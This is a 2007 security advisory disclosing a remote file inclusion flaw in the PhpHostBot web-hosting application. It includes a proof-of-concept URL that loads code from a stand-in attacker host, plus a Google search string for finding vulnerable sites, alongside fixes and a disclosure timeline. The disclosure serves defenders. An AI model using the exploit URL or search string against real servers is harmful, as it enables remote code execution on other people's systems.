ECHO_ADV_83$2007

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[ECHO_ADV_83$2007] PhpHostBot <= 1.06 (svr_rootscript) Remote File Inclusion Vulnerability
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Author         : M.Hasran Addahroni
Date           : August, 7 th 2007
Location       : Australia, Sydney
Web            : https://advisories.echo.or.id/adv/adv83-K-159-2007.txt
Critical Lvl   : Dangerous
Impact         : System access
Where         : From Remote
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Affected software description:
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Application   : PhpHostBot  
version       : <= 1.06
Vendor        : https://www.idevspot.com/PhpHostBot.php
Description :

PhpHostBot is a webware PHP application which integrates with the popular Cpanel(WHM) web hosting control panel.
PhpHostBot supports Paypal subscriptions, free web hosting, Subdomain and Reseller account setup 
and supports both dedicated server and Reseller web hosting companies

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Vulnerability:
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Input passed to the "svr_rootscript" parameter in order/login.php is not properly verified before being used to include files. 
This can be exploited to include arbitrary files from local or external resources.
Successful exploitation requires that "register_globals" is enabled.


Poc/Exploit:
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https://www.target.com/[PhpHostBot-path]/order/login.php?svr_rootscript=https://attacker.com/evil?

Google Dork:
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         "order?page=plan_show"

Solution:
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- Edit the source code to ensure that input is properly verified.
- Turn off register_globals
- use the latest version 

Timeline:
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- 27 -07 - 2007 bug found
- 4 - 08 - 2007 vendor contacted
- 7 - 08 - 2007 advisory released
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Contact:
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     K-159 || echo|staff || eufrato[at]gmail[dot]com
     Homepage: https://k-159.echo.or.id/

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